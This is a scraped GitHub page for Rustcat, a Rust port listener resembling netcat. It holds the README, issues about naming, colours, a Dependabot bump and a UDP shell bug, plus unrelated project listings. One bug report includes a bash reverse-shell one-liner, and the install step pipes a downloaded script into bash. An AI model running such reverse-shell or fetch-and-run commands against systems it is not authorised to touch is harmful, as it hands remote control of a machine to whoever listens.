Rustcat is a port listener that can be used for different purposes.

Overview

⚙️ Rustcat ⚙️ Workflow dependency status

-- Basic Netcat Alternative --

About

Rustcat is a port listener that can be used for different purposes.
It is basically like netcat but with fewer options

Why use Rustcat?

  • Serves it purpose of listening to ports
  • It is easy to use
  • Uses colors

Installation

To install from crates.io:

cargo install rustcat && sudo cp ~/.cargo/bin/rustcat /usr/local/bin/rc && cargo uninstall rustcat

To install the latest github release:

bash <(curl -s https://raw.githubusercontent.com/robiot/rustcat/main/install.sh)

Compiling yourself

To compile yourself

  1. Download the source
  2. Cd into the dir and run...
cargo build --release

You may also want to rename the executable to rc

Usage

rc [options] [destination] [port]

Usage Examples

Help :

rc --help

Listen to port 55660 on localhost :

rc -lp 55660

Listen to port 55660 on specified ip (192.168.1.10) :

rc -l 192.168.1.10 55660
Comments
  • `rc` binary name clashes with openrc

    `rc` binary name clashes with openrc

    The rustcat binary name rc clashes with /sbin/rc on OpenRC systems, which may cause some weirdness if installed to a directory with higher precendence than /sbin for some reason.

    I noticed this while packaging rustcat for Funtoo Linux, which is an OpenRC distro. We've decided to install rustcat in /usr/bin/rustcat instead of /usr/bin/rc for the time being. If this is something you even care about, considering an alternative name for the binary would be preferred. I thought I might let you know anyway :^)

    enhancement 
    opened by invakid404 6
  • chore: add funtoo to install table

    chore: add funtoo to install table

    Hello 👋🏻,

    I maintain the rustcat package over at Funtoo Linux. I've already added Funtoo install steps to the wiki, so I thought I might as well mention how to install rustcat on Funtoo in the README :^)

    hacktoberest-accepted 
    opened by invakid404 5
  • Cannot clear screen / No colors

    Cannot clear screen / No colors

    I really love this tool but this tool is missing a few features.

    • I was able to clear screen with Ctrl + L with regular combination of rlwrap and ncat. I am not able to do the same with this.
    • There are no colors (with simple commands like ls -la. cannot highlight executables.)
    • What's wrong with arrow keys image
    enhancement 
    opened by akashJx 3
  • Bump nix from 0.22.1 to 0.23.1

    Bump nix from 0.22.1 to 0.23.1

    Bumps nix from 0.22.1 to 0.23.1.

    Changelog

    Sourced from nix's changelog.

    [0.23.1] - 2021-12-16

    Added

    Changed

    • Relaxed the bitflags requirement from 1.3.1 to 1.1. This partially reverts #1492. From now on, the MSRV is not guaranteed to work with all versions of all dependencies, just with some version of all dependencies. (#1607)

    Fixed

    • Fixed soundness issues in FdSet::insert, FdSet::remove, and FdSet::contains involving file descriptors outside of the range 0..FD_SETSIZE. (#1575)

    [0.23.0] - 2021-09-28

    Added

    • Added the LocalPeerCred sockopt. (#1482)
    • Added TimeSpec::from_duration and TimeSpec::from_timespec (#1465)
    • Added IPV6_V6ONLY sockopt. (#1470)
    • Added impl From<User> for libc::passwd trait implementation to convert a User into a libc::passwd. Consumes the User struct to give ownership over the member pointers. (#1471)
    • Added pthread_kill. (#1472)
    • Added mknodat. (#1473)
    • Added setrlimit and getrlimit. (#1302)
    • Added ptrace::interrupt method for platforms that support PTRACE_INTERRUPT (#1422)
    • Added IP6T_SO_ORIGINAL_DST sockopt. (#1490)
    • Added the PTRACE_EVENT_STOP variant to the sys::ptrace::Event enum (#1335)
    • Exposed SockAddr::from_raw_sockaddr (#1447)
    • Added TcpRepair (#1503)
    • Enabled pwritev and preadv for more operating systems. (#1511)
    • Added support for TCP_MAXSEG TCP Maximum Segment Size socket options (#1292)

    ... (truncated)

    Commits

    Dependabot compatibility score

    Dependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting @dependabot rebase.


    Dependabot commands and options

    You can trigger Dependabot actions by commenting on this PR:

    • @dependabot rebase will rebase this PR
    • @dependabot recreate will recreate this PR, overwriting any edits that have been made to it
    • @dependabot merge will merge this PR after your CI passes on it
    • @dependabot squash and merge will squash and merge this PR after your CI passes on it
    • @dependabot cancel merge will cancel a previously requested merge and block automerging
    • @dependabot reopen will reopen this PR if it is closed
    • @dependabot close will close this PR and stop Dependabot recreating it. You can achieve the same result by closing it manually
    • @dependabot ignore this major version will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)
    • @dependabot ignore this minor version will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)
    • @dependabot ignore this dependency will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)
    • @dependabot use these labels will set the current labels as the default for future PRs for this repo and language
    • @dependabot use these reviewers will set the current reviewers as the default for future PRs for this repo and language
    • @dependabot use these assignees will set the current assignees as the default for future PRs for this repo and language
    • @dependabot use this milestone will set the current milestone as the default for future PRs for this repo and language

    You can disable automated security fix PRs for this repo from the Security Alerts page.

    dependencies 
    opened by dependabot[bot] 2
  • Modifications following idiomatic Rust patterns

    Modifications following idiomatic Rust patterns

    On noticing repeated code patterns in the TCP and UDP handling code in listeners.rs, I added a decorator which takes a closure in (to perform the respective protocol operations). Some other logic like the (host, port) check has been rewritten with slice pattern matching, if lets and matches.

    opened by ghost 2
  • UDP shell only recognises 1st input character

    UDP shell only recognises 1st input character

    ISSUE TYPE:

    • Bug Report

    OS / ENVIRONMENT:

    • Operating system: 5.14.5-arch1-1
    • Rustcat version: rustcat 1.2.0

    STEPS TO REPRODUCE:

    1. (client) rc -ul localhost 1337
    2. (target) bash -c 'bash -i >& /dev/udp/localhost/1337 0>&1'
    3. (client)
      • type command & press enter
      • notice >> prompt with
        • only 1st typed character being repeated
        • command not being executed

    EXPECTED BEHAVIOUR:

    Normal shell behavior we all know.

    ACTUAL BEHAVIOUR:

    The 1st typed character is being "locked in". Meaning, to actually execute a command (e.g. pwd) one must:

    1. type 1st char (p) and enter
    2. type 2nd char (w) and enter
    3. type 3rd char (d) and enter
    4. enter to send the actual enter

    image

    bug 
    opened by Kibouo 2
  • Fix Windows colors outside of Cargo

    Fix Windows colors outside of Cargo

    Cargo enables ANSI color support, so the ANSI colors work just fine when run with cargo run, but they will not work when run directly from the compiled executable. This is fixed by enabling ANSI color support with Windows API at the start of runtime.

    opened by WYLDYR 1
  • Implemenet Custom Builtin

    Implemenet Custom Builtin "stty cbreak -echo" For Command History

    Instead of rustyline on unix, implement a custom function in rust that does the same as "stty cbreak -echo".

    https://github.com/wertarbyte/coreutils/blob/master/src/stty.c

    enhancement help wanted 
    opened by robiot 1
  • Windows Reverse Shell Support

    Windows Reverse Shell Support

    ~~It will be almost the same as unixshell.rs except you need to replace as_raw_fd and from_raw_fd with https://doc.rust-lang.org/std/os/windows/io/~~

    It will be different than unix since windows doesn't have unified fds.

    enhancement help wanted 
    opened by robiot 0
Releases(v3.0.0)
Owner
Robiot
Just a robot doing stuff...
Robiot
QueingSimulator is an application that can be used to build intuitions about behavior of synchronous request/reply systems

Queueing Simulator QueingSimulator is an application that can be used to build intuitions about behavior of synchronous request/reply systems (such as

Joe Magerramov 7 Sep 11, 2022
A simple, external MCPE client. For learning purposes...

sage A simple, external MCPE client. For learning purposes... Current Cheats a VERY simple speed, it just edits the speed pointer TODO Clean-up code A

Cqdet 5 Sep 7, 2021
A repository containing dozens of projects requiring vastly different skillsets.

The 100 Project Challenge A repository containing dozens of projects requiring vastly different skillsets. All the projects that I might add to this r

null 4 Jun 21, 2022
Simple benchmark to compare different Kafka clients performance with similar configuration.

Kafka Producer Benchmark Simple benchmark to compare different clients performance against similar configuration. The project is relatively low tech a

Jean-Louis Boudart 11 Nov 2, 2022
Ointers is a library for representing pointers where some bits have been stolen so that they may be used by the programmer for something else

Ointers is a library for representing pointers where some bits have been stolen so that they may be used by the programmer for something else. In effect, it's a small amount of free storage

Irrustible 8 Jun 4, 2022
Simple MHV6 extension used to download custom songs efficiently and effectively.

nong-downloader-extension A simple MegaHack v6 extension that helps you download NONG songs directly to GD. Compiling. Why would you want to compile??

Alpha 6 Nov 1, 2022
Common processing blocks used with your Runes.

Common Processing Blocks (API Docs) Processing blocks built by Hammer of the Gods that you can use with your Runes. License This project is licensed u

Hammer of the Gods 9 Jul 21, 2022
Smart Contracts to be used by terra-bot

CosmWasm Starter Pack This is a template to build smart contracts in Rust to run inside a Cosmos SDK module on all chains that enable it. To understan

João Silvestre 2 Sep 25, 2022
Ampseer examines reads in fastq format and identifies which multiplex PCR primer set was used to generate the SARS-CoV-2 sequencing library they are read from.

Ampseer examines reads in fastq format and identifies which multiplex PCR primer set was used to generate the SARS-CoV-2 sequencing library they are read from.

New England Biolabs Inc. 7 Nov 2, 2022
A simple library with just one struct which is used to wrap around pointers

A simple library with just one struct which is used to wrap around pointers. This can be used to create pointers and share them across threads without the hassle of synchronization if you really do not care about that.

null 1 Apr 11, 2022
Rewrite of the Discord Bot used for Managing the Infinity Bot List Servers.

Arcadia Rewrite of the Discord Bot used for Managing the Infinity Bot List Servers. Contributing Always run fmt.sh before making a Pull Request! MacOS

InfinityBotList 3 Dec 15, 2022
🤖 Discord bot used @okp4 to bridge the Dataverse!

?? Discord bot Discord bot used @okp4 to bridge the Dataverse! ✨ Purpose This project is a Discord bot mainly intended to be used for the OKP4 Discord

OKP4 – Open Knowledge Protocol For 11 Nov 15, 2022
Gun port in rust & wasm

rusty-gun Rust & WASM port of Gun. Example (source) Use npm install rusty-gun import { Node as Gun } from "rusty-gun" const gun = new Gun('ws://localh

Martti Malmi 39 Dec 19, 2022
A port of dlmalloc to Rust.

dlmalloc-rs A port of dlmalloc to Rust. Documentation Why dlmalloc? This crate is a port of dlmalloc to Rust, and doesn't rely on C. The primary purpo

Gear Technologies 3 Dec 3, 2021
Another Network Tunnel; A simple program for local/remote port forwarding over a SSH tunnel.

?? ANT Another Network Tunnel; A simple program for local/remote port forwarding over a SSH tunnel. Table of Contents Installation Pre-requisites Pre-

Hendrik Böck 20 Jun 25, 2023
Rust library that can be reset if you think it's slow

GoodbyeKT Rust library that can be reset if you think it's slow

null 39 Jun 16, 2022
Uindex is a data store, for data that can be parsed as sentences in some context-free language.

Uindex - Universal index Uindex is a data store, for data that can be parsed as sentences in some context-free language.

Enrique Pérez Arnaud 3 Jul 20, 2021
`fugit` provides a comprehensive library of `Duration` and `Instant` for the handling of time in embedded systems, doing all it can at compile time.

fugit fugit provides a comprehensive library of Duration and Instant for the handling of time in embedded systems, doing all it can at compile time. T

Emil Fresk 40 Oct 2, 2022
Damavand is a quantum circuit simulator. It can run on laptops or High Performance Computing architectures, such CPU distributed architectures or multi GPU distributed architectures.

Damavand is a quantum circuit simulator. It can run on laptops or High Performance Computing architectures, such CPU distributed architectures or multi GPU distributed architectures.

MichelNowak 0 Mar 29, 2022